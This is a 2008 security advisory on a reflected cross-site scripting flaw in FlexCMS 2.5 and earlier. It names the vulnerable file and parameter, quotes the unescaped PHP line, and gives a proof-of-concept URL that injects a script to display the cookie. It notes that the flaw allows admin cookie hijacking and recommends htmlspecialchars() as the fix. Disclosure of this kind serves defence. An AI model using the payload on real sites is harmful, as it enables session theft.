FlexCMS <= 2.5 Cross Site Scripting Vulnerability

2008-08-15 / 2008-08-16
Credit: irancrash
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 2.6/10
Impact Subscore: 2.9/10
Exploitability Subscore: 4.9/10
Exploit range: Remote
Attack complexity: High
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

---------------------------------------------------------------- Script : FlexCMS <= 2.5 Type : Cross Site Scripting Vulnerability Alert : Low ---------------------------------------------------------------- Download From : http://www.flexcms.com/ ---------------------------------------------------------------- Discovered by : Khashayar Fereidani Or Dr.Crash My Website : http://FEREIDANI.IR Team Website : http://IRCRASH.COM Khashayar Fereidani Email : irancrash [ a t ] gmail [ d o t ] com ---------------------------------------------------------------- Cross Site Scripting Vulnerability : File Name : inc-core-admin-editor-previouscolorsjs.php Vulnerable Variable : PreviousColorsString Send Method : GET Register_globals : On Dangerous PHP Code (LINE 53) : print 'document.write(\''.$PreviousColorsString.'\');'; Address : http://example/inc-core-admin-editor-previouscolorsjs.php?PreviousColorsString=<script>alert(document.cookie)</script> Attacker can hijack admin cookie with this vulnerability .... Solution for patch : filter PreviousColorsString variable with htmlspecialchars() function ... ---------------------------------------------------------------- Tnx : God http://IRCRASH.COM ----------------------------------------------------------------

References:

http://www.securityfocus.com/bid/30709
http://www.securityfocus.com/archive/1/archive/1/495508/100/0/threaded
http://secunia.com/advisories/31532


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